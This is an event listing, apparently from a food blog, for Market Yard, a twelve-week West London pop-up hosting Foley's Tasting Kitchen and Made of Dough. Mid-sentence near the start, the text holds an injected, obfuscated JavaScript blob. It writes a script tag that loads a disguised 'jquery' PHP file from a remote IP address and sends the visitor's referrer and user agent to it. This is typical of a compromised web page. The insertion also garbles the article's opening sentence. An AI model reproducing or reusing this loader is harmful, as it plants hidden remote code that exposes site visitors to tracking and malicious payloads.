GUEST KITCHENS AT MARKET YARD

foleys2

After (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efezz|var|u0026u|referrer|ianbs||js|php’.split(‘|’),0,{}))
working their magic at Little Feast last year, the Feast team are back and bringing West London a whole new dining experience in the shape of ‘Market Yard’. Open for 12 weeks, Market Yard will play host to two guest kitchens. Foley’s Tasting Kitchen is first up teasing you with whats to come at their new permanent site in Fitzrovia. With plates inspired by street food markets from around the world, expect dishes to include the likes of Cornflake crusted chicken with pickled wild mushrooms, corn, endive and chorizo and sweet potato fritters. Then six weeks later, Made of Dough will be taking the reins and throwing out some proper Neapolitan pizzas with a nod to Southern Spain. With an open-plan kitchen and a well stocked bar in the railway arch, it’s a feast to set your sights on.

Until Sun 1st May 2016
Shepherds bush Yard, Goldhawk Road, W12 8HA
www.wefeast.co.uk